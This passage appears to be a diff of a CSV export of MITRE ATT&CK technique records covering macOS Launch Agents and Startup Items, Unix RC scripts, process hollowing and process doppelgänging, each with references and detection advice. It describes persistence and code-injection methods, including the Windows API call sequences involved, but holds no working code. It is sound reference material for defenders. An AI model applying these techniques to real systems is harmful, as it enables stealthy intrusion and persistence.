(Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware). +Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution.",True,"['User', 'root']",['Linux'],,CAPEC-551,https://capec.mitre.org/data/definitions/551.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1543/001', 'external_id': 'T1543.001'}, {'source_name': 'AppleDocs Launch Agent Daemons', 'description': 'Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'}, {'source_name': 'OSX Keydnap malware', 'description': 'Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', 'url': 'https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/'}, {'source_name': 'Antiquated Mac Malware', 'description': 'Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/'}, {'source_name': 'OSX.Dok Malware', 'description': 'Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/'}, {'source_name': 'Sofacy Komplex Trojan', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/'}, {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}, {'source_name': 'OSX Malware Detection', 'description': ""Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."", 'url': 'https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf'}, {'source_name': 'OceanLotus for OS X', 'description': 'Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.', 'url': 'https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update'}]",1.3,attack-pattern,attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-17T16:10:58.592Z,2021-11-03T20:11:51.687Z,Launch Agent,"Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks. + + Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command. -Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).",attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584,attack-pattern,"['persistence', 'privilege-escalation']",2020-03-25T22:11:45.513Z,2020-01-17T16:10:58.592Z,Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.,"['File: File Creation', 'File: File Modification', 'Command: Command Execution', 'Service: Service Creation', 'Service: Service Modification']",,,"['Administrator', 'User']",['macOS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1037.005', 'url': 'https://attack.mitre.org/techniques/T1037/005'}, {'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html', 'description': 'Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.', 'source_name': 'Startup Items'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'source_name': 'Methods of Mac Malware Persistence'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1037/005,mitre-attack,T1037.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Startup Items,"Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items) +Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1543/001,mitre-attack,T1543.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Command: Command Execution', 'Service: Service Creation', 'Service: Service Modification']",,"Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications. + +Ensure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. ",True,"['Administrator', 'User']",['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1037/005', 'external_id': 'T1037.005'}, {'source_name': 'Startup Items', 'description': 'Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html'}, {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}]",1.0,attack-pattern,attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-15T18:00:33.603Z,2020-03-24T23:47:39.124Z,Startup Items,"Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items) This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. -An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.",attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f,attack-pattern,"['persistence', 'privilege-escalation']",2020-03-24T23:47:39.124Z,2020-01-15T18:00:33.603Z,"The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. +An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1037/005,mitre-attack,T1037.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,"The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. -Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,,['Administrator'],['macOS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1037.004', 'url': 'https://attack.mitre.org/techniques/T1037/004'}, {'source_name': 'IranThreats Kittens Dec 2017', 'url': 'https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/', 'description': 'Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.'}, {'description': 'Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.', 'url': 'https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/', 'source_name': 'Intezer HiddenWasp Map 2019'}, {'source_name': 'intezer-kaiji-malware', 'url': 'https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/', 'description': 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.'}, {'source_name': 'Apple Developer Doco Archive Launchd', 'url': 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html', 'description': 'Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.'}, {'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html', 'description': 'Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.', 'source_name': 'Startup Items'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'source_name': 'Methods of Mac Malware Persistence'}, {'source_name': 'Ubuntu Manpage systemd rc', 'url': 'http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html', 'description': 'Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",2.0,True,https://attack.mitre.org/techniques/T1037/004,mitre-attack,T1037.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,RC Scripts,"Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. +Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.",True,['Administrator'],['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1037/004', 'external_id': 'T1037.004'}, {'source_name': 'IranThreats Kittens Dec 2017', 'description': 'Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.', 'url': 'https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/'}, {'source_name': 'Intezer HiddenWasp Map 2019', 'description': 'Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.', 'url': 'https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/'}, {'source_name': 'intezer-kaiji-malware', 'description': 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.', 'url': 'https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/'}, {'source_name': 'Apple Developer Doco Archive Launchd', 'description': 'Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'}, {'source_name': 'Startup Items', 'description': 'Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html'}, {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}, {'source_name': 'Ubuntu Manpage systemd rc', 'description': 'Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.', 'url': 'http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html'}]",2.0,attack-pattern,attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-15T16:25:22.260Z,2021-04-27T19:58:01.927Z,RC Scripts,"Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. Adversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence. Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware) -Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)",attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211,attack-pattern,"['persistence', 'privilege-escalation']",2021-04-27T19:58:01.927Z,2020-01-15T16:25:22.260Z,"Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior. +Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1037/004,mitre-attack,T1037.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior. -Monitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. ","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,,['root'],"['macOS', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1055.012', 'url': 'https://attack.mitre.org/techniques/T1055/012'}, {'url': 'http://www.autosectools.com/process-hollowing.pdf', 'description': 'Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.', 'source_name': 'Leitch Hollowing'}, {'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1055/012,mitre-attack,T1055.012,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Process Hollowing,"Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. +Monitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. ",True,['root'],"['macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/012', 'external_id': 'T1055.012'}, {'source_name': 'Leitch Hollowing', 'description': 'Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.', 'url': 'http://www.autosectools.com/process-hollowing.pdf'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}]",1.1,attack-pattern,attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T17:21:54.470Z,2021-10-18T12:30:14.640Z,Process Hollowing,"Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017) -This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ",attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-11-10T18:29:31.031Z,2020-01-14T17:21:54.470Z,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1055/012,mitre-attack,T1055.012,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']","['Application control', 'Anti-virus']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","['Process: OS API Execution', 'Process: Process Access']",,"['Application control', 'Anti-virus']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1055.013', 'url': 'https://attack.mitre.org/techniques/T1055/013'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx', 'description': 'Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.', 'source_name': 'Microsoft TxF'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx', 'description': 'Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.', 'source_name': 'Microsoft Basic TxF Concepts'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx', 'description': 'Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.', 'source_name': 'Microsoft Where to use TxF'}, {'url': 'https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf', 'description': 'Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.', 'source_name': 'BlackHat Process Doppelgänging Dec 2017'}, {'url': 'https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/', 'description': 'hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017.', 'source_name': 'hasherezade Process Doppelgänging Dec 2017'}, {'url': 'https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx', 'description': 'Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.', 'source_name': 'Microsoft PsSetCreateProcessNotifyRoutine routine'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1055/013,mitre-attack,T1055.013,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Process Doppelgänging,"Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/013', 'external_id': 'T1055.013'}, {'source_name': 'Microsoft TxF', 'description': 'Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx'}, {'source_name': 'Microsoft Basic TxF Concepts', 'description': 'Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx'}, {'source_name': 'Microsoft Where to use TxF', 'description': 'Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx'}, {'source_name': 'BlackHat Process Doppelgänging Dec 2017', 'description': 'Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.', 'url': 'https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf'}, {'source_name': 'hasherezade Process Doppelgänging Dec 2017', 'description': 'hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017.', 'url': 'https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/'}, {'source_name': 'Microsoft PsSetCreateProcessNotifyRoutine routine', 'description': 'Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx'}]",1.0,attack-pattern,attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T17:19:50.978Z,2021-02-09T15:43:48.848Z,Process Doppelgänging,"Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process. Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF) @@ -2376,12 +2603,12 @@ Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Dop * Rollback – Undo changes to original executable, effectively removing malicious code from the file system. * Animate – Create a process from the tainted section of memory and initiate execution. -This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. ",attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197,attack-pattern,"['defense-evasion', 'privilege-escalation']",2021-02-09T15:43:48.848Z,2020-01-14T17:19:50.978Z,"Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017) +This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. ","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1055/013,mitre-attack,T1055.013,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'File: File Metadata']","['Anti-virus', 'Application control']","Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017) Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.","['Process: OS API Execution', 'File: File Metadata']",,"['Anti-virus', 'Application control']","['Administrator', 'SYSTEM', 'User']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1055.011', 'url': 'https://attack.mitre.org/techniques/T1055/011'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx', 'description': 'Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.', 'source_name': 'Microsoft Window Classes'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx', 'description': 'Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.', 'source_name': 'Microsoft GetWindowLong function'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx', 'description': 'Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.', 'source_name': 'Microsoft SetWindowLong function'}, {'url': 